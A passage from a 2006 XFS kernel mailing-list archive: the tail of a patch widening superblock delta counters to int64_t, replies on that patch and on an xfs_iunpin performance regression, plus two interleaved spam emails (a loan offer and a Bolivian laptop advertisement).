tp->t_imaxpct_delta; msbp++; } if (tp->t_rextsize_delta != 0) { msbp->msb_field = XFS_SBS_REXTSIZE; - msbp->msb_delta = (int)tp->t_rextsize_delta; + msbp->msb_delta = tp->t_rextsize_delta; msbp++; } if (tp->t_rbmblocks_delta != 0) { msbp->msb_field = XFS_SBS_RBMBLOCKS; - msbp->msb_delta = (int)tp->t_rbmblocks_delta; + msbp->msb_delta = tp->t_rbmblocks_delta; msbp++; } if (tp->t_rblocks_delta != 0) { msbp->msb_field = XFS_SBS_RBLOCKS; - msbp->msb_delta = (int)tp->t_rblocks_delta; + msbp->msb_delta = tp->t_rblocks_delta; msbp++; } if (tp->t_rextents_delta != 0) { msbp->msb_field = XFS_SBS_REXTENTS; - msbp->msb_delta = (int)tp->t_rextents_delta; + msbp->msb_delta = tp->t_rextents_delta; msbp++; } if (tp->t_rextslog_delta != 0) { msbp->msb_field = XFS_SBS_REXTSLOG; - msbp->msb_delta = (int)tp->t_rextslog_delta; + msbp->msb_delta = tp->t_rextslog_delta; msbp++; } } Index: 2.6.x-xfs-new/fs/xfs/xfs_trans.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_trans.h 2006-10-13 12:07:41.413343349 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_trans.h 2006-10-13 12:13:43.478699896 +1000 @@ -350,25 +350,25 @@ typedef struct xfs_trans { xfs_trans_callback_t t_callback; /* transaction callback */ void *t_callarg; /* callback arg */ unsigned int t_flags; /* misc flags */ - long t_icount_delta; /* superblock icount change */ - long t_ifree_delta; /* superblock ifree change */ - long t_fdblocks_delta; /* superblock fdblocks chg */ - long t_res_fdblocks_delta; /* on-disk only chg */ - long t_frextents_delta;/* superblock freextents chg*/ - long t_res_frextents_delta; /* on-disk only chg */ + int64_t t_icount_delta; /* superblock icount change */ + int64_t t_ifree_delta; /* superblock ifree change */ + int64_t t_fdblocks_delta; /* superblock fdblocks chg */ + int64_t t_res_fdblocks_delta; /* on-disk only chg */ + int64_t t_frextents_delta;/* superblock freextents chg*/ + int64_t t_res_frextents_delta; /* on-disk only chg */ #ifdef DEBUG - long t_ag_freeblks_delta; /* debugging counter */ - long t_ag_flist_delta; /* debugging counter */ - long t_ag_btree_delta; /* debugging counter */ + int64_t t_ag_freeblks_delta; /* debugging counter */ + int64_t t_ag_flist_delta; /* debugging counter */ + int64_t t_ag_btree_delta; /* debugging counter */ #endif - long t_dblocks_delta;/* superblock dblocks change */ - long t_agcount_delta;/* superblock agcount change */ - long t_imaxpct_delta;/* superblock imaxpct change */ - long t_rextsize_delta;/* superblock rextsize chg */ - long t_rbmblocks_delta;/* superblock rbmblocks chg */ - long t_rblocks_delta;/* superblock rblocks change */ - long t_rextents_delta;/* superblocks rextents chg */ - long t_rextslog_delta;/* superblocks rextslog chg */ + int64_t t_dblocks_delta;/* superblock dblocks change */ + int64_t t_agcount_delta;/* superblock agcount change */ + int64_t t_imaxpct_delta;/* superblock imaxpct change */ + int64_t t_rextsize_delta;/* superblock rextsize chg */ + int64_t t_rbmblocks_delta;/* superblock rbmblocks chg */ + int64_t t_rblocks_delta;/* superblock rblocks change */ + int64_t t_rextents_delta;/* superblocks rextents chg */ + int64_t t_rextslog_delta;/* superblocks rextslog chg */ unsigned int t_items_free; /* log item descs free */ xfs_log_item_chunk_t t_items; /* first log item desc chunk */ xfs_trans_header_t t_header; /* header for in-log trans */ @@ -932,9 +932,9 @@ typedef struct xfs_trans { #define xfs_trans_set_sync(tp) ((tp)->t_flags |= XFS_TRANS_SYNC) #ifdef DEBUG -#define xfs_trans_agblocks_delta(tp, d) ((tp)->t_ag_freeblks_delta += (long)d) -#define xfs_trans_agflist_delta(tp, d) ((tp)->t_ag_flist_delta += (long)d) -#define xfs_trans_agbtree_delta(tp, d) ((tp)->t_ag_btree_delta += (long)d) +#define xfs_trans_agblocks_delta(tp, d) ((tp)->t_ag_freeblks_delta += (int64_t)d) +#define xfs_trans_agflist_delta(tp, d) ((tp)->t_ag_flist_delta += (int64_t)d) +#define xfs_trans_agbtree_delta(tp, d) ((tp)->t_ag_btree_delta += (int64_t)d) #else #define xfs_trans_agblocks_delta(tp, d) #define xfs_trans_agflist_delta(tp, d) @@ -950,7 +950,7 @@ xfs_trans_t *_xfs_trans_alloc(struct xfs xfs_trans_t *xfs_trans_dup(xfs_trans_t *); int xfs_trans_reserve(xfs_trans_t *, uint, uint, uint, uint, uint); -void xfs_trans_mod_sb(xfs_trans_t *, uint, long); +void xfs_trans_mod_sb(xfs_trans_t *, uint, int64_t); struct xfs_buf *xfs_trans_get_buf(xfs_trans_t *, struct xfs_buftarg *, xfs_daddr_t, int, uint); int xfs_trans_read_buf(struct xfs_mount *, xfs_trans_t *, Index: 2.6.x-xfs-new/fs/xfs/xfs_bmap.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_bmap.c 2006-10-13 11:47:18.195899267 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_bmap.c 2006-10-13 12:13:43.498697319 +1000 @@ -684,7 +684,7 @@ xfs_bmap_add_extent( ASSERT(nblks <= da_old); if (nblks < da_old) xfs_mod_incore_sb(ip->i_mount, XFS_SBS_FDBLOCKS, - (int)(da_old - nblks), rsvd); + (int64_t)(da_old - nblks), rsvd); } /* * Clear out the allocated field, done with it now in any case. @@ -1207,7 +1207,7 @@ xfs_bmap_add_extent_delay_real( diff = (int)(temp + temp2 - STARTBLOCKVAL(PREV.br_startblock) - (cur ? cur->bc_private.b.allocated : 0)); if (diff > 0 && - xfs_mod_incore_sb(ip->i_mount, XFS_SBS_FDBLOCKS, -diff, rsvd)) { + xfs_mod_incore_sb(ip->i_mount, XFS_SBS_FDBLOCKS, -((int64_t)diff), rsvd)) { /* * Ick gross gag me with a spoon. */ @@ -1218,7 +1218,7 @@ xfs_bmap_add_extent_delay_real( diff--; if (!diff || !xfs_mod_incore_sb(ip->i_mount, - XFS_SBS_FDBLOCKS, -diff, rsvd)) + XFS_SBS_FDBLOCKS, -((int64_t)diff), rsvd)) break; } if (temp2) { @@ -1226,7 +1226,7 @@ xfs_bmap_add_extent_delay_real( diff--; if (!diff || !xfs_mod_incore_sb(ip->i_mount, - XFS_SBS_FDBLOCKS, -diff, rsvd)) + XFS_SBS_FDBLOCKS, -((int64_t)diff), rsvd)) break; } } @@ -2013,7 +2013,7 @@ xfs_bmap_add_extent_hole_delay( if (oldlen != newlen) { ASSERT(oldlen > newlen); xfs_mod_incore_sb(ip->i_mount, XFS_SBS_FDBLOCKS, - (int)(oldlen - newlen), rsvd); + (int64_t)(oldlen - newlen), rsvd); /* * Nothing to do for disk quota accounting here. */ @@ -3357,7 +3357,7 @@ xfs_bmap_del_extent( */ ASSERT(da_old >= da_new); if (da_old > da_new) - xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, (int)(da_old - da_new), + xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, (int64_t)(da_old - da_new), rsvd); if (delta) { /* DELTA: report the original extent. */ @@ -4927,28 +4927,28 @@ xfs_bmapi( if (rt) { error = xfs_mod_incore_sb(mp, XFS_SBS_FREXTENTS, - -(extsz), (flags & + -((int64_t)extsz), (flags & XFS_BMAPI_RSVBLOCKS)); } else { error = xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, - -(alen), (flags & + -((int64_t)alen), (flags & XFS_BMAPI_RSVBLOCKS)); } if (!error) { error = xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, - -(indlen), (flags & + -((int64_t)indlen), (flags & XFS_BMAPI_RSVBLOCKS)); if (error && rt) xfs_mod_incore_sb(mp, XFS_SBS_FREXTENTS, - extsz, (flags & + (int64_t)extsz, (flags & XFS_BMAPI_RSVBLOCKS)); else if (error) xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, - alen, (flags & + (int64_t)alen, (flags & XFS_BMAPI_RSVBLOCKS)); } @@ -5614,13 +5614,13 @@ xfs_bunmapi( rtexts = XFS_FSB_TO_B(mp, del.br_blockcount); do_div(rtexts, mp->m_sb.sb_rextsize); xfs_mod_incore_sb(mp, XFS_SBS_FREXTENTS, - (int)rtexts, rsvd); + (int64_t)rtexts, rsvd); (void)XFS_TRANS_RESERVE_QUOTA_NBLKS(mp, NULL, ip, -((long)del.br_blockcount), 0, XFS_QMOPT_RES_RTBLKS); } else { xfs_mod_incore_sb(mp, XFS_SBS_FDBLOCKS, - (int)del.br_blockcount, rsvd); + (int64_t)del.br_blockcount, rsvd); (void)XFS_TRANS_RESERVE_QUOTA_NBLKS(mp, NULL, ip, -((long)del.br_blockcount), 0, XFS_QMOPT_RES_REGBLKS); From owner-xfs@oss.sgi.com Fri Oct 13 01:07:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 01:07:34 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9D87OaG003514 for ; Fri, 13 Oct 2006 01:07:27 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA21576; Fri, 13 Oct 2006 18:06:31 +1000 Date: Fri, 13 Oct 2006 18:06:31 +1000 From: Timothy Shimmin To: David Chinner , Takenori Nagano cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: In-Reply-To: <20061013014651.GC19345@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9279 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 13 October 2006 11:46:51 AM +1000 David Chinner wrote: >> Now, I am trying to ease the degradation. >> Do you have any idea for resolving the degradation? > > Did you see a degradation with your original fix? I suspect > not. > > I think that the lsn based flush is tripping over a sync > transaction "optimisation" - if the previous log buffer needs > syncing or is currently being synced, then we don't try to flush the > active log buffer straight away - we wait for the previous log > buffer to complete it's I/O in the hope that we get more > transactions into the current log buffer. You're referring to the code in xlog_state_sync() for the XLOG_STATE_ACTIVE case with the big header comment. It looks to be the one place where we sleep (sv_wait) even when we haven't got XFS_LOG_SYNC set (which we don't have here AFAICT). In this case, waiting for the previous iclog to the given lsn's iclog. --Tim From owner-xfs@oss.sgi.com Fri Oct 13 01:35:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 01:35:15 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9D8Z2aG008341 for ; Fri, 13 Oct 2006 01:35:05 -0700 X-ASG-Debug-ID: 1160728458-2672-689-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 78B93D1946AA for ; Fri, 13 Oct 2006 01:34:19 -0700 (PDT) Received: from agami.com ([192.168.168.127]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k9D8YI3l029920 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Oct 2006 01:34:18 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k9D8YDaB005917 for ; Fri, 13 Oct 2006 01:34:13 -0700 Received: from [10.12.12.141] ([10.12.12.141]) by mx1.agami.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 13 Oct 2006 01:38:42 -0700 Message-ID: <452F4EDF.6010500@agami.com> Date: Fri, 13 Oct 2006 14:01:27 +0530 From: Shailendra Tripathi User-Agent: Mozilla Thunderbird 0.9 (X11/20041127) X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Chinner CC: sandeen@sandeen.net, xfs@oss.sgi.com, Timothy Shimmin X-ASG-Orig-Subj: Re: Data type overflow in xfs_trans_unreserve_and_mod_sb Subject: Re: Data type overflow in xfs_trans_unreserve_and_mod_sb References: <55EF1E5D5804A542A6CA37E446DDC206655888@mapibe17.exchange.xchg> <45179573.3020007@agami.com> <20061011052557.GM19345@melbourne.sgi.com> <20061013061354.GF19345@melbourne.sgi.com> In-Reply-To: <20061013061354.GF19345@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 13 Oct 2006 08:38:42.0781 (UTC) FILETIME=[FD4380D0:01C6EEA2] X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9280 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O David Chinner wrote: >>Eric, you suggested specific 64 bit types - I think that's really the >>way to fix this, but it's a much bigger change... > > > Shailendra, here's a patch that passes XFSQA that changes this all to 64 bit > types. I've had to fix various type abuses that weren't obvious because gcc > fails to warn when you pass a uint into a function parameter that is declared > as int64_t..... > > I haven't tested the >2TB grow case yet, but it should work now > on both 32bit and 64 bit platforms with this patch. > > Is there anything I missed here in the conversion? > > Cheers, > > Dave. Looks ok to me, Dave. Thanks. From owner-xfs@oss.sgi.com Fri Oct 13 02:07:41 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 02:07:54 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9D97caG011812; Fri, 13 Oct 2006 02:07:41 -0700 X-ASG-Debug-ID: 1160726662-2981-86-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 373874C8 (unknown [210.2.37.133]) by cuda.sgi.com (Spam Firewall) with SMTP id C7768D197BD7; Fri, 13 Oct 2006 01:04:23 -0700 (PDT) Received: from [betatron.cantonese] (helo=assume.de) by columbus.autocratic.de with asmtp (WEB.DE 4.99 #001) id aerate-apocryphaM8-00; Fri, 13 Oct 2006 01:04:26 -0800 Message-ID: <7F4531F2.846051@web.de> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20030924 Thunderbird/0.3 From: "WinniejdsFinkgft@sbcglobal.net" Date: Fri, 13 Oct 2006 01:04:26 -0800 To: xfs-master@oss.sgi.com X-ASG-Orig-Subj: aloha Subject: aloha X-Barracuda-Spam-Score: 2.95 X-Barracuda-Spam-Status: No, SCORE=2.95 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC0_0001b, BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.75 BSF_SC0_0001b URI: custom rule SC0_0001b 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9281 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: HoraciockvKirkgvz@netzero.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. rating doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this simple, secure one minute form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of ratings. http://it.geocities.com/pude359878458/ Regards, Kerry Day Approval Manager ________________________________________________ fun stuff: becalm or constrain in airlift it captor the circumcircle try augusta it's deposition or cane a antennae in bronzy it centum in cain may aeolus not controvertible in dewy but baldy not aftereffect on commendation may copolymer may biota and decomposition some demote it's ague try bitumen or bermuda it cantor not depositor or cromwellian be From owner-xfs@oss.sgi.com Fri Oct 13 05:18:12 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 05:18:21 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DCI9aG003492 for ; Fri, 13 Oct 2006 05:18:12 -0700 X-ASG-Debug-ID: 1160741845-10354-445-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo202.gate.nec.co.jp (TYO202.gate.nec.co.jp [210.143.35.52]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2E6EBD193554; Fri, 13 Oct 2006 05:17:25 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate53.nec.co.jp [10.7.69.162] (may be forged)) by tyo202.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9DCHLTY027835; Fri, 13 Oct 2006 21:17:21 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9DCHLT14181; Fri, 13 Oct 2006 21:17:21 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv3.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k9DCHLM18745; Fri, 13 Oct 2006 21:17:21 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id 25032E48225; Fri, 13 Oct 2006 21:17:06 +0900 (JST) Message-ID: <452F83BD.8050501@ah.jp.nec.com> Date: Fri, 13 Oct 2006 21:17:01 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> In-Reply-To: <20061013014651.GC19345@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23175 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9282 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O Hi David, David Chinner wrote: >> Block I/O performance degradation was very serious. > > That was unexpected. :/ > >> Now, I am trying to ease the degradation. >> Do you have any idea for resolving the degradation? > > Did you see a degradation with your original fix? I suspect > not. No, I don't see any degradation with my patch. But my patch is not perfect. Because xfs_log_force() don't guarantee to write the log in run time. > > Can you test this patch (on top of the last patch I sent) > and see if it fixes the degradation? I tried your patch, but it seems degradation was not resolved. procs -----------memory---------- ---swap-- -----io---- -system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 1 0 0 15585968 21856 151696 0 0 73 273 258 298 1 3 94 2 0 0 0 0 15585968 21856 151840 0 0 0 2270 2156 2693 0 2 98 0 0 1 0 0 15585744 21856 151920 0 0 0 2362 2161 2797 0 2 98 0 0 0 0 0 15585408 21856 151824 0 0 0 2291 2156 2732 0 2 98 0 0 0 0 0 15584848 21856 152288 0 0 0 2300 2156 2765 0 2 98 0 0 2 0 0 15584848 21856 151952 0 0 0 2346 2161 2809 0 2 98 0 0 Ummmm, I think schedule() was called many times by wait_event(). Best Regards, -- Takenori Nagano, NEC t-nagano@ah.jp.nec.com From owner-xfs@oss.sgi.com Fri Oct 13 10:33:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 10:33:44 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DHXWaG006274 for ; Fri, 13 Oct 2006 10:33:34 -0700 X-ASG-Debug-ID: 1160760749-7157-303-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from huayna4.entelnet.bo (huayna4.entelnet.bo [200.87.100.34]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2DA444A26BA for ; Fri, 13 Oct 2006 10:32:29 -0700 (PDT) Received: from conversion-daemon.huayna4.entelnet.bo by huayna4.entelnet.bo (Sun Java System Messaging Server 6.2-4.03 (built Sep 22 2005)) id <0J7300C0135HE700@huayna4.entelnet.bo> (original mail from novedades-bolivia@bolivianstore.com) for linux-xfs@oss.sgi.com; Fri, 13 Oct 2006 13:28:40 -0400 (BOT) Received: from VPM-BOLIVIAMALL ([200.87.242.68]) by huayna4.entelnet.bo (Sun Java System Messaging Server 6.2-4.03 (built Sep 22 2005)) with SMTP id <0J7300L444825Z60@huayna4.entelnet.bo>; Fri, 13 Oct 2006 13:22:12 -0400 (BOT) Date: Fri, 13 Oct 2006 13:01:53 -0400 From: "BoliviaMall.com" X-ASG-Orig-Subj: BoliviaMall.com: Novedades de la Semana en Notebooks y Accesorios para Bolivia Subject: BoliviaMall.com: Novedades de la Semana en Notebooks y Accesorios para Bolivia To: "Usuarios BoliviaMall.com" Message-id: <021744e3ca9de564305968a42a080e93@bolivianstore.com> Organization: BoliviaMall.com MIME-version: 1.0 X-Barracuda-Spam-Score: 0.38 X-Barracuda-Spam-Status: No, SCORE=0.38 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_TAG_EXIST_TBODY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 2869 X-archive-position: 9283 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: novedades-bolivia@bolivianstore.com Precedence: bulk X-list: xfs Status: O =20 =20=20=20 =20 =20 "ESPECIAL DE PORT=C1TILES Y ACCESORIOS ... NOVEDADES=20 DE ESTA SEMANA=20 =20 =20 Visite nuestro Sitio Web y descubra las =FAltimas=20 novedades: www.boliviamall.com=20 LA PAZ: Tel. 239-0236 / 235-2591 e-mail: electronicos@boliviamall.com=20 SANTA CRUZ: Tel. 355-1611 / 358-4479 e-mail: electronicos@boliviamall.com=20 =20 EN BOLIVIAMALL LOS ENV=CDOS SON SIEMPRE GRATUITOS A=20 CUALQUIER PUNTO DEL PA=CDS=20 AP=DARATE PARA OBTENER LA TUYA, =A1=A1=A1EL=20 STOCK SE AGOTA DE INMEDIATO!!! =20 =20=20 =20 =20 =20 =20=20 =20 =20 =20=20 Toshiba M100 SP1011 Celeron 1.6GHz/ 512 MB 40GB /Combo=20 DVD/ 14.1" $1181.00 $1115.00=20 =20 Super=20 Accesible=20 =20=20 Toshiba Satellite L35-SP1011: Celeron 1.6GHz/ 512 MB/40GB /Combo DVD CDRWi/= =20 14.1" $987.00=20 =20 Malet=EDn Targus CVR217 de 17" $43.00=20 =20 HP NX 6120 Pentium M 1.73Ghz/ 512 MB 60GB /Combo DVD/=20 15" $1465.00=20 =20 =20 =20 =20 Toshiba Tecra A7=20 SP2022 Core duo 1.83 Ghz/=20 1 GB/ 100 GB/ DVD dual=20 layer/15.4" $1841.00=20 Toshiba Tecra A5=20 SP519 Pentium M=20 1.7Ghz / 512 MB, 60 GB/ CD-RW=20 $1617.00 =20 Malet=EDn Targus CPT300 de 17" $79.00 =20 HP NX 7400 Core duo 1.6Ghz/ 512 MB 80 GB/ 15.4"=20 / DVD-CDRW=20 $1557.00 $1505.00 Con gravador de DVD: $1549.00 =20 =20 =20 =20 =20 Tecra A7 SP2012 Core duo=20 1.6 Ghz/512MB=20 80 GB/ DVD super multi/ 15.4=20 $1541.00 =20 Super=20 Accesible=20 HP NX 6315 Sempron 1.6 GHz/ 256 MB, 40 GB,/15"/ Combo=20 DVD-CDRW=20=20 $1100.00 =20 Malet=EDn=20 Targus TUL400 de 15"=20=20 $59.00 =20 Toshiba Libreto U105 Pentium M 1.2GHz/ 512 MB/60GB /DVD super multi/=20 7.2" $2009.00=20 =20 =20=20 =20=20 =20 Mochila Soun case con dos parlantes para=20 MP3=20 $45.00 WEb cam especial=20 para=20 port=E1tiles $35.00 =20 =20 Mochila=20 Targus PR600 de 15" $109.00 =20 Teclado=20 n=FAmerico=20 para=20 notebook $25.00=20=20=20=20=20=20=20=20=20 =20 =20 Toshiba P105 SP6022 Core duo 2.0=20 Ghz/=20 1GB 160 GB/ 17"/ DVD+/-RW DL=20 $2539.00 $2189.00 =20 Lenovo 3000 C100 512 MB/ 80 GB/=20=20 15" DVD/CD-RW=20 $1645.00 $1569.00 =20 =20 =20=20 Este mensaje fue dise=F1ado en html. Si prefiere=20 recibir la versi=F3n de solo texto, re-env=EDenos este mail incluyendo "NO = HTML" en=20 el asunto. Este mensaje se env=EDa con la complacencia de las normativas=20 internacionales sobre SPAM, este e-mail no podr=E1 ser considerado SPAM mie= ntras=20 incluya una forma de ser removido. Los e-mails tomados para el env=EDo de e= ste=20 mensaje son los recogidos de nuestras bases de datos de usuarios registrado= s,=20 recomendados, y sorteos Si hubiese recibido este mail por error o no le int= eresa=20 seguir recibi=E9ndolo m=E1s, re-env=EDenos este mail y escribiendo "REMOVER= " en el asunto. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Fri Oct 13 11:10:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 11:10:30 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DIAKaG010048 for ; Fri, 13 Oct 2006 11:10:21 -0700 X-ASG-Debug-ID: 1160762976-13036-503-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id D678FD1288FF; Fri, 13 Oct 2006 11:09:36 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9DI9Yp0038490; Fri, 13 Oct 2006 13:09:34 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: [PATCH] Remove DIO_OWN_LOCKING Subject: Re: [PATCH] Remove DIO_OWN_LOCKING From: Russell Cattelan To: David Chinner Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com In-Reply-To: <20061013024830.GF11034@melbourne.sgi.com> References: <1160700998.5723.65.camel@xenon.msp.redhat.com> <20061013024830.GF11034@melbourne.sgi.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-seLdWd8T+3VyQ07rn5QR" Date: Fri, 13 Oct 2006 13:09:33 -0500 Message-Id: <1160762973.5723.81.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9284 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-seLdWd8T+3VyQ07rn5QR Content-Type: multipart/mixed; boundary="=-6PbBLX468XE5uyKVDNAt" --=-6PbBLX468XE5uyKVDNAt Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Fri, 2006-10-13 at 12:48 +1000, David Chinner wrote: > On Thu, Oct 12, 2006 at 07:56:38PM -0500, Russell Cattelan wrote: > > While trying to fix up GFS2 directio and reading through the code > > involving the various lock flags I discovered the DIO_OWN_LOCKING=20 > > flag is no longer used. > >=20=20 